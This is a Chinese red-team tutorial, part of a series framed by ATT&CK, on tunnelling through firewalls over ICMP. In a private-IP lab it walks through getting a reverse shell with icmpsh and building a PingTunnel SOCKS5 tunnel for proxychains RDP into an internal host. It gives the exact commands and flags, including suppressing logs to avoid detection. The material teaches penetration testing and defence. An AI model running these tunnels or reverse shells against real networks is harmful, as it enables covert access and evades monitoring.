ATT&CK视角下的红蓝对抗:十五.内网穿透之利用ICMP协议进行隧道穿透

2023-11-12 18:03:09 浏览数 (2)

一.前言

本文介绍了利用ICMP协议进行隧道穿透的方法。ICMP协议不需要开放端口,可以将TCP/UDP数据封装到ICMP的Ping数据包中,绕过防火墙限制。常见的ICMP隧道穿透工具有Icmpsh、Icmptunnel、Pingtunnel等。本文以ICMPsh和Pingtunnel为例,介绍了如何利用ICMP协议进行隧道穿透。

二.前文推荐

ATT&CK视角下的红蓝对抗:一. 隧道穿透技术详解

ATT&CK视角下的红蓝对抗:二. 内网探测协议出网

ATT&CK视角下的红蓝对抗:三. 内网常规隧道利用方法

ATT&CK视角下的红蓝对抗:四. 内网穿透之通过Earthworm(EW)进行隧道穿透

ATT&CK视角下的红蓝对抗:五. 内网穿透之利用HTTP协议进行隧道穿透

ATT&CK视角下的红蓝对抗:六.内网穿透之利用FRP进行隧道穿透

ATT&CK视角下的红蓝对抗:七.内网穿透之利用Venom进行隧道穿透

ATT&CK视角下的红蓝对抗:八.内网穿透之利用Termite进行隧道穿透

ATT&CK视角下的红蓝对抗:九.内网穿透之利用GRE协议进行隧道穿透

ATT&CK视角下的红蓝对抗:十.内网穿透之利用DNS协议进行隧道穿透

ATT&CK视角下的红蓝对抗:十一.内网穿透之利用SSH协议进行隧道穿透

ATT&CK视角下的红蓝对抗:十二.内网穿透之Windows文件传输技术详解

ATT&CK视角下的红蓝对抗:十三.内网穿透之Linux文件传输技巧详解

ATT&CK视角下的红蓝对抗:十四.内网穿透之反弹流量分析与检测方法

ATT&CK视角下的红蓝对抗:十五.内网穿透之利用ICMP协议进行隧道穿透


三.利用ICMP协议进行隧道穿透

下面将介绍通过ICMP协议进行隧道穿透的方法。这种手段的优点是不需要开放端口就可将TCP/UDP数据封装到ICMP的Ping数据包中,从而绕过防火墙的限制,攻击者可以利用较短的命令得到大量的ICMP响应,常见的ICMP隧道穿透通常可以利用Icmpsh、Icmptunnel、Pingtunnel等工具实现,笔者这里以ICMPsh和Pingtunnel为案例介绍如何利用ICMP协议进行隧道穿透。

1.ICMPsh获取反弹shell

ICMPsh是一个简单的反向ICMP shell,与其他类似的开源工具相比,它的主要优势在于不需要管理权限即可在目标主机上运行,如图1-1所示的拓扑,假设内网中发现Web服务器,测试后其他协议方式无法进行隧道穿透,探测其开放ICMP协议,且获取到命令执行权限后,可以尝试利用ICMP隧道工具进行后续操作。

图1-1  ICMP协议实验拓扑图图1-1 ICMP协议实验拓扑图

1)首先在攻击机中执行echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all命令,关闭攻击机ICMP协议的应答。因为该工具要代替攻击机系统本身的ping命令去应答,为了防止内核自己对Ping数据包进行响应,所以需要关闭系统的ICMP应答,执行后如图1-2所示。

图1-2 关闭ping应答图1-2 关闭ping应答

2)关闭ICMP应答后,在攻击机中执行python2 icmpsh_m.py 192.168.0.2 192.168.0.3命令来连接Web服务器,如图1-3所示。这里注意的是,攻击机需要使用Python 2的环境来安装python-impacket模块,我们可以使用pip install impacket==0.9.12命令或者官网下载模块安装。

图1-3攻击机连接服务器图1-3攻击机连接服务器

3)上述步骤操作完毕后,上传icmpsh.exe工具到Web服务器,在Web服务器执行icmpsh.exe -t 192.168.0.2命令反弹Shell到攻击机,执行结果如图1-4所示。

图1-4 服务器执行连接命令图1-4 服务器执行连接命令

4)此时攻击机已经成功获得Web服务器反弹的Shell权限,如图1-5所示。

图1-5 通过ICMP隧道成功获得Web服务器Shell权限图1-5 通过ICMP隧道成功获得Web服务器Shell权限

2.PingTunnel 搭建隧道

PingTunnel工具是基于ICMP协议的开源的隧道工具,其优点是使用简单,它的原理是通过将TCP/UDP/Sock5流量夹带在ICMP数据中进行转发,下面将会演示如何使用该工具进行隧道穿透,该工具的具体使用详细参数如表1-1所示。

表1-1 PingTunne工具详细参数

参数

作用

-key

设置的密码,默认为 0

-nolog

不写日志文件,只打印标准输出,默认 0

-noprint

不打印屏幕输出,默认 0

-loglevel

日志文件等级,默认 info

-maxconn

最大连接数,默认 0,不受限制

-maxprt

server 最大处理线程数,默认 100

-maxprb

server 最大处理线程 buffer 数,默认 1000

-conntt

server 发起连接到目标地址的超时时间,默认 1000ms

-l

本地的地址,发到这个端口的流量将转发到服务器

-s

服务器的地址,流量将通过隧道转发到这个服务器

-t

远端服务器转发的目的地址,流量将转发到这个地址

-timeout

记录连接超时的时间,单位是秒,默认 60s

-tcp

设置是否转发 tcp,默认 0

-tcp_bs

tcp 的发送接收缓冲区大小,默认 1MB

-tcp_mw

tcp 的最大窗口,默认 20000

-tcp_rst

tcp 的超时发送时间,默认 400ms

-tcp_gz

当数据包超过这个大小,tcp 将压缩数据,0 表示不压缩,默认0

-tcp_stat

打印 tcp 的监控,默认 0

-sock5

开启 sock5 转发,默认 0

-profile

在指定端口开启性能检测,默认 0 不开启

-s5filter

sock5 模式设置转发过滤,默认全转发,设置 CN 代表 CN 地区的直连不转发

假设在内网渗透中发现主机,通过漏洞获取到系统控制权限,在对其进一步探测时,由于安全设备等方式的阻拦,其他协议方式无法穿透,这里仅开放ICMP协议,我们可以尝试利用PingTunnel工具进行后续操作,本次实验拓扑如图1-6所示,本次实验环境表如1-2所示。

图1-6  ICMP协议实验拓扑图图1-6 ICMP协议实验拓扑图

表1-2 ICMP协议实验环境表

主机类型

IP配置

攻击机

192.168.0.2

Web服务器

192.168.0.3,192.168.52.2

目标服务器

192.168.52.3

1)在攻击机上也可以执行sysctl -w net.ipv4.icmp_echo_ignore_all=1命令,关闭ICMP应答,防止接受本地的响应的ping数据包,如图1-7所示。注意实验完成后,如果要开启Icmp应答,我们使用上面这条命令将值改为0即可开启icmp应答。

图1-7 攻击机关闭Icmp回复图1-7 攻击机关闭Icmp回复

2)将PingTunnel工具上传至Web服务器后执行./pingtunnel -type server -noprint 1 -nolog 1命令,即可在Web服务器开启服务端监听,其中-noprint参数和-nolog参数是禁止产生日志文件,如果不使用该参数执行,则Web服务器就会生成大量的日志文件,很容易被检测到,执行成功后如图1-8所示。

图1-8 Web服务器开启服务端监听图1-8 Web服务器开启服务端监听

3)在攻击机执行./pingtunnel -type client -l :1080 -s 192.168.0.3 -sock5 1命令,去连接服务端,这里攻击机将作为客户端连接Web服务器监听,并设置本地的1080端口做为socks连接端口,执行后如图1-9所示。

图1-9攻击机发起连接图1-9攻击机发起连接

4)随后,在攻击机中修改proxychains4.conf配置文件,并在其底部添加一行socks5 127.0.0.1 1080参数来完成proxychains代理配置,如图1-10所示。

图1-10 修改proxychains配置文件图1-10 修改proxychains配置文件

5)当配置完proxychains代理后,即可在攻击机执行proxychains rdesktop 192.168.52.3命令来连接靶机,如图1-11所示,通过所建立的icmp协议隧道,我们可以直接远程连接到目标服务器中。

图1-11  ICMP隧道连接成功图1-11 ICMP隧道连接成功

四.本篇总结

本文介绍了利用ICMP协议进行隧道穿透的方法。ICMP协议不需要开放端口,可以将TCP/UDP数据封装到ICMP的Ping数据包中,绕过防火墙限制。常见的ICMP隧道穿透工具有Icmpsh、Icmptunnel、Pingtunnel等。本文以ICMPsh和Pingtunnel为例,介绍了如何利用ICMP协议进行隧道穿透。ICMPsh是一个简单的反向ICMP shell,可以代替攻击机系统本身的ping命令去应答。


我正在参与2023腾讯技术创作特训营第三期有奖征文,组队打卡瓜分大奖!

0 人点赞